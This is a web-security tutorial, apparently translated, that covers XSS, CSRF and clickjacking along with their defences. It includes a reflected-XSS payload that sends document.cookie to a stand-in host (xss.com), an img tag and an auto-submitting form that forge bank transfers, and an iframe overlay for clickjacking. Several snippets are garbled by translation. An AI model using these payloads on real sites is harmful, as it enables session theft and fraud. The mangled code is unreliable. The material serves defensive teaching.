As Web applications become more and more widespread, various Web security problems become increasingly prominent. It is common to see online news that user account information of a website is leaked or stolen.

Web security problems are easy to become the blind spot of front-end engineers. On the one hand, various security policies of browsers create a security illusion for front-end engineers. On the other hand, in the common understanding, hackers are more through system vulnerabilities and virus programs to invade the server, so that it is easy to form the illusion that security problems are only closely related to the server. This article looks at three front-end security issues to make your Web applications more secure.

Cross Site Scripting (XSS)

In theory, the acronym for cross-site scripting should be “CSS”, but this is easily confused with the abbreviation for Cascading Style Sheets (CSS), so it is XSS. It mainly refers to the attacker can insert malicious script code in the page, when the victim visits these pages, the browser will parse and execute the malicious code, so as to steal user identity, phishing, spread malicious code and other behaviors.

XSS attack example

Generally, XSS can be divided into reflection type, storage type and DOM type.

Reflective XSS, also known as non-persistent XSS, means that an attacker spells malicious code in the URL and sends it to the server. The server returns the content with the XSS code, causing the browser to execute the malicious code.

The following is illustrated by a simple example. The server uses express.js and ejS for server-side rendering. When the server receives the address bar search parameter, it passes it into the template’s search variable and generates HTML.

<! < %-search % >app.get(ejS template)'/reflection'.function(req, res) {
  res.render('reflection', {
    search: req.query.search
  });
})
Copy the code

For example, if an attacker wants to obtain a user’s cookie, he writes the following JavaScript code. Create a script tag on the fly and send the current cookie to the target address xss.com.

s = document.createElement('script');
s.src = `xss.com ? cookie = $ { document.cookie }`;
document.head.append(s) < /script>/
Copy the code

Then you can transcode the code URI, assign the URL parameter search, add this parameter to the corresponding URL and send it to the corresponding user to get its cookie.

? search = <script >
var s = document.createElement('script');
s.src = `xss.com ? cookie = $ { document.cookie }`;
document.head.append(s); < /script>/
Copy the code

Of course, such naked sending is easy to arouse users’ vigilance, so it is generally converted into a short url and packaged into some hyperlinks with leading words to entice users to click and visit. Once users click, they unknowingly send their cookies to the attackers.

Stored is more destructive than reflective because stored malicious code is stored somewhere like a database and triggers XSS every time a page is accessed. Such as some sites allow users to set a character signature, and display on your home page, the attacker can enter in the individuality signature malicious code and make the service side, if this code is stored in the database directly without any processing, and other users to access the personal home page when will perform the malicious code.

DOM XSS can be considered a special kind of reflective XSS, which is also a non-persistent XSS, but does not need to go through the server as opposed to reflective XSS. For example, in the example above, if the logic that parses the URL parameter search is placed on the front page, the attack type is DOM.

< script >
var search = location.search.replace('? search='.' ')
document.write("Did you search for :" + decodeURI(search)) 
< /script>/
Copy the code

XSS defense means

Parameter verification. Verify the URL parameters of the HTTP request and the payload of the request body. For example, if the data we receive is the age of the user, we need to check whether the data is a Number at the back end and throw an error if the data does not meet the verification rules.

Character escape. For some special symbols, such as “<” “>” “&” “” “‘ “”/”, we need to escape them. When the back end receives the code, the escape is stored, and when the front end displays the code, they are converted into the original string for display.

Do not use eval, new Function, or innerHTML, outerHTML, or document.write() to dynamically execute strings entered by users. For non-client cookies, such as the session that stores user credentials, set it to HTTP only to prevent front-end access to cookies.

Cross-site Request Forgery CSRF/XSRF

A CSRF attack is a fake request sent to the target site in the victim’s name without the victim’s knowledge to perform operations protected by permissions without authorization. Compared with XSS attack, CSRF does not need to directly obtain user information, but only needs to “borrow” user login information related operations, which is more hidden.

Example of CSRF attack

The following uses an example to illustrate the attack principle of CSRF.

For example, user A has A deposit with the bank and sends A request to the bank’s website: http://bank.com/withdraw?amount=100&to=B.

A can transfer the deposit of 100 to B’s account. Normally, after the request is sent to the website, the server will verify that the request is from A valid session and that user A has logged in successfully.

Attacker C can transfer money to his own account by substituting parameters in the URL, but the request must be made by A. So he made a website by himself and put the following code in the website:

<img src="http://bank.com/withdraw?amount=100&to=C" />
Copy the code

Then, A is induced to visit his website by advertising and other means. When A visits this website, the browser will attach the transfer request sent by cookie. In most cases, the request may fail because it asks for A’s authentication information. However, if A just visited this website at that time, the session between his browser and the website has not expired, and the browser’s cookie contains A’s authentication information. At this point the request will be successful and the money will be transferred from user A’s account to attacker C’s account without A knowing it.

Even if A found his account lacked money in the future and went to the bank to check the transfer records, he could only find that there was indeed A legitimate request from him to transfer funds, and no trace of attack could be found.

Of course, in the real world, you would not submit an operation through a GET request, but a POST request. But even then, an attacker could embed a hidden form in a page and trigger an action through a script.

For example, the code below creates two form fields, amount and TO, and then automatically executes the JavaScript script to submit the form.

<html>
 <head></head>
 <body>
  <form action="http://bank.com/withdraw" method="POST"= """"> 
   <input type="hidden" /> 
   <input type="hidden" /> 
  </form> 
  <script> document.forms[0].submit(); </script>
 </body>
</html>
Copy the code

CSRF means of defense

As you can see from the previous example, most CSRFS come from third-party sites, so the browser puts a Referer field in the request header that the server can determine to reject requests from untrusted sources.

Since an attacker uses cookies to pass authentication in most cases, it is possible to add other header fields, such as tokens, to the request address, and the server will respond with the correct content only after receiving the correct token.

If an attacker automatically initiates malicious requests without knowing it, you can defend against such attacks by adding a graphic or SMS verification code for the user to enter to confirm that the operation is initiated by the user. However, adding a verification code affects user experience. Therefore, you cannot use the verification code frequently.

Click jacking (C lickJacking)

The attacker creates a webpage to contain the target website by using iframe, and then hides the target website by setting transparency, so that the user cannot detect the existence of the target website and masks it on the webpage. Inducing the user to click on a specific button in a web page, and the location of the button and the target site of a button, when the user clicks on a button on the web page, is actually clicking on the target site of the button.

ClickJacking sample

Here are two simple pages to illustrate. The Alert page has a button that calls the alert() function when clicked.

<button onclick="Alert (' I got clicked! ')">Alert page button</button>
Copy the code

The ClickJacking page has a button that is not bound to a click event, and the Alert page is introduced in Firame, styling it so that the Alert page is transparent and overlapped with the clickJacking page button position.

<button>Current page button</button> <iframe src="http://127.0.0.1:5501/24/views/alert.html" frameborder="0" style="O pacity: 0.5; position:absolute; left: 0; top:0"></iframe>
Copy the code

When the user wants to click on the ClickJacking page button, they actually click on the Alert page button.

ClickJacking defense

As you can see from the examples, ClickJacking exploits iframe, so you can set the response header field xframe-options HTTP to tell the browser which domain names are allowed to reference the current page. The x-frame-options values are as follows:

  • DENY: indicates that pages are not allowed to be referenced in iframe, even if they are nested within pages of the same domain name. This value is used in the GitHub home page response header.
  • SAMEORIGIN: indicates that the page can be referenced in the iframe of the same domain name page, which is the same value used in the response header of zhihu’s home page.
  • Allow-from [URL] : indicates that the page can be referenced in the iframe of the specified source.

conclusion

There are three common front-end security issues: XSS, CSRF, and ClickJacking.

XSS attacks are classified into storage attacks, reflection attacks and DOM attacks. The storage attacks are more harmful and will be stored in the database, resulting in the execution of malicious code every time a page is loaded. Reflection attacks use the principle of the server directly concatenating string templates, while DOM attacks are more flexible and can be implemented without sending requests to the server.

The principle of CSRF attack is to “borrow” the user identity to perform malicious operations. The server can use the Referer field to determine whether the source of the request initiator is trusted, so as to reject the request from the insecure domain.

The ClickJacking attack uses an iframe reference to the page to mask the user’s actions without their knowledge. Therefore, you can set the response header field X-frame-options to allow the iframe to be referenced by other pages.

In addition to the above defenses, we can also test the site with a vulnerability scanning tool such as BeEF to find security vulnerabilities in advance.

Public account “Grace Front end”

For every aspiring “front-end ER” to lead the way, build dream aspirations.

Just to be an excellent front end Engineer!